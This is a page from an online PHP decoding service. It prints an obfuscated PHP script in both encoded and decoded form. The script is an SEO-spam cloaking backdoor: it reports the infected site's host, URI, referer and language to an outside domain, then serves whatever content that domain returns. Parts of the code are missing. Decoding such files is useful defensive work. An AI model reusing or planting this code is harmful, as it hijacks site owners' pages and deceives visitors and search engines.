Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto aMVhv; QhLVv: function sbot() { $uaget = strtolower($_SERVER["\110\124\x54\12..
Decoded Output download
<?php
goto aMVhv; QhLVv: function sbot() { $uaget = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uaget, "googlebot") || stristr($uaget, "bing") || stristr($uaget, "yahoo") || stristr($uaget, "google") || stristr($uaget, "Googlebot") || stristr($uaget, "googlebot")) { return true; } else { return false; } } goto DRoA6; BiOdW: $ddur_tmp = st_uri(); goto nt8hC; aMVhv: @set_time_limit(3600); goto SF085; sC3HZ: $goto = "cmyi"; goto sT8PB; XffxK: $usse = ''; goto KFtB4; jKh2H: $htag = trim(daag($web)); goto LrYdn; DRSLV: $towe = $goto . ".linkxleetseo" . ".xyz"; goto wcMSz; rBQC6: $web = $htwe . "://" . $towe . "/inde.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $ddur . "&urlshang=" . $usse . "&http=" . $http . "&lang=" . $lag; goto jKh2H; nt8hC: if ($ddur_tmp == '') { $ddur_tmp = "/"; } goto oHKTS; wcMSz: function ishtt() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto V3y2l; VOows: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $ddur = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $ddur; } goto DRSLV; LrYdn: if (!strstr($htag, "nobotuseragent")) { if (strstr($htag, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htag = str_replace("okhtmlgetcontent", '', $htag); echo $htag; die; } else { if (strstr($htag, "okxmlgetcontent")) { $htag = str_replace("okxmlgetcontent", '', $htag); @header("Content-type: text/xml"); echo $htag; die; } else { if (strstr($htag, "pingxmlgetcontent")) { $htag = str_replace("pingxmlgetcontent", '', $htag); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htag); die; } } } } goto VMrDI; SDvvG: if (ishtt()) { $http = "https"; } else { $http = "http"; } goto BiOdW; SF085: @ignore_user_abort(1); goto sC3HZ; TyFxF: $lag = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto imNcz; V3y2l: $host = $_SERVER["HTTP_HOST"]; goto TyFxF; KFtB4: if (isset($_SERVER["HTTP_REFERER"])) { $usse = $_SERVER["HTTP_REFERER"]; $usse = urlencode($usse); } goto v5fAX; VMrDI: goto hwSoo; imNcz: $lag = urlencode($lag); goto XffxK; sT8PB: $htwe = "http"; goto SDvvG; oHKTS: $ddur = urlencode($ddur_tmp); goto VOows; hwSoo:
//uw132 ?><?php ?>
Did this file decode correctly?
Original Code
<?php
goto aMVhv; QhLVv: function sbot() { $uaget = strtolower($_SERVER["\110\124\x54\120\x5f\125\123\105\x52\x5f\101\x47\x45\116\124"]); if (stristr($uaget, "\x67\157\x6f\x67\154\145\142\157\164") || stristr($uaget, "\142\151\x6e\x67") || stristr($uaget, "\171\141\150\157\x6f") || stristr($uaget, "\147\x6f\157\x67\x6c\x65") || stristr($uaget, "\x47\157\157\x67\x6c\145\142\x6f\164") || stristr($uaget, "\147\x6f\157\147\x6c\x65\x62\157\x74")) { return true; } else { return false; } } goto DRoA6; BiOdW: $ddur_tmp = st_uri(); goto nt8hC; aMVhv: @set_time_limit(3600); goto SF085; sC3HZ: $goto = "\143\x6d\x79\x69"; goto sT8PB; XffxK: $usse = ''; goto KFtB4; jKh2H: $htag = trim(daag($web)); goto LrYdn; DRSLV: $towe = $goto . "\x2e\x6c\151\156\x6b\170\154\145\145\164\163\x65\157" . "\x2e\170\x79\x7a"; goto wcMSz; rBQC6: $web = $htwe . "\x3a\x2f\x2f" . $towe . "\x2f\x69\156\144\145\56\160\150\160\x3f\x77\145\x62\75" . $host . "\46\x7a\172\x3d" . sbot() . "\46\x75\x72\x69\75" . $ddur . "\46\165\x72\x6c\163\x68\x61\156\147\75" . $usse . "\46\x68\164\x74\x70\75" . $http . "\46\x6c\x61\x6e\x67\75" . $lag; goto jKh2H; nt8hC: if ($ddur_tmp == '') { $ddur_tmp = "\57"; } goto oHKTS; wcMSz: function ishtt() { if (isset($_SERVER["\110\124\124\120\123"]) && strtolower($_SERVER["\x48\x54\x54\120\x53"]) !== "\x6f\x66\x66") { return true; } elseif (isset($_SERVER["\x48\124\x54\120\137\130\x5f\x46\x4f\122\x57\101\122\104\x45\x44\x5f\x50\122\117\x54\x4f"]) && $_SERVER["\x48\124\x54\120\137\x58\x5f\x46\117\x52\x57\x41\x52\x44\x45\104\137\x50\122\x4f\x54\x4f"] === "\150\x74\164\x70\x73") { return true; } elseif (isset($_SERVER["\x48\x54\124\120\x5f\x46\122\x4f\x4e\124\137\105\x4e\x44\x5f\110\124\124\120\x53"]) && strtolower($_SERVER["\110\x54\x54\x50\x5f\106\x52\117\116\124\x5f\105\116\x44\x5f\110\x54\x54\120\x53"]) !== "\x6f\146\146") { return true; } return false; } goto V3y2l; VOows: function st_uri() { if (isset($_SERVER["\x52\x45\121\x55\105\123\x54\x5f\x55\x52\x49"])) { $ddur = $_SERVER["\x52\x45\x51\125\x45\x53\124\137\125\x52\x49"]; } else { if (isset($_SERVER["\141\162\x67\x76"])) { $ddur = $_SERVER["\120\x48\x50\137\123\x45\x4c\106"] . "\x3f" . $_SERVER["\141\162\x67\166"][0]; } else { $ddur = $_SERVER["\120\x48\120\137\x53\x45\114\x46"] . "\77" . $_SERVER["\x51\x55\105\x52\x59\x5f\123\x54\122\x49\116\x47"]; } } return $ddur; } goto DRSLV; LrYdn: if (!strstr($htag, "\156\x6f\x62\x6f\164\165\x73\145\x72\x61\147\145\156\x74")) { if (strstr($htag, "\157\x6b\150\164\x6d\154\147\x65\164\143\157\156\164\145\156\164")) { @header("\x43\157\x6e\x74\145\x6e\x74\55\164\x79\x70\145\x3a\40\164\x65\x78\x74\57\150\x74\155\154\x3b\40\x63\150\141\162\x73\145\164\75\x75\164\146\x2d\70"); $htag = str_replace("\157\153\x68\x74\155\154\x67\145\x74\x63\157\156\x74\145\x6e\164", '', $htag); echo $htag; die; } else { if (strstr($htag, "\x6f\153\x78\155\x6c\147\x65\x74\x63\157\x6e\164\145\x6e\x74")) { $htag = str_replace("\x6f\153\x78\x6d\154\x67\x65\x74\143\x6f\x6e\164\145\x6e\164", '', $htag); @header("\x43\x6f\x6e\164\x65\156\164\x2d\x74\x79\160\145\72\40\164\145\x78\x74\57\170\155\x6c"); echo $htag; die; } else { if (strstr($htag, "\x70\x69\156\x67\x78\x6d\154\147\x65\x74\143\x6f\x6e\164\145\x6e\164")) { $htag = str_replace("\x70\151\156\x67\170\155\x6c\x67\x65\x74\x63\x6f\156\x74\145\156\x74", '', $htag); @header("\x43\x6f\156\164\x65\156\164\55\x74\x79\x70\x65\72\40\164\145\170\x74\57\150\164\155\x6c\73\x20\x63\x68\x61\162\163\145\164\75\165\164\x66\55\x38"); echo pingmap($htag); die; } } } } goto VMrDI; SDvvG: if (ishtt()) { $http = "\150\164\164\160\x73"; } else { $http = "\150\x74\x74\x70"; } goto BiOdW; SF085: @ignore_user_abort(1); goto sC3HZ; TyFxF: $lag = @$_SERVER["\110\124\x54\x50\x5f\101\x43\103\x45\x50\x54\137\114\101\116\107\x55\x41\107\105"]; goto imNcz; V3y2l: $host = $_SERVER["\x48\124\124\120\137\x48\x4f\x53\x54"]; goto TyFxF; KFtB4: if (isset($_SERVER["\x48\124\124\x50\137\122\x45\x46\x45\122\x45\122"])) { $usse = $_SERVER["\x48\x54\124\x50\x5f\122\x45\x46\x45\x52\105\x52"]; $usse = urlencode($usse); } goto v5fAX; VMrDI: goto hwSoo; imNcz: $lag = urlencode($lag); goto XffxK; sT8PB: $htwe = "\x68\164\x74\x70"; goto SDvvG; oHKTS: $ddur = urlencode($ddur_tmp); goto VOows; hwSoo:
//uw132 ?><?php
Function Calls
None |
Stats
MD5 | 5453b2a206c6b74da12689b03fdecfc4 |
Eval Count | 0 |
Decode Time | 42 ms |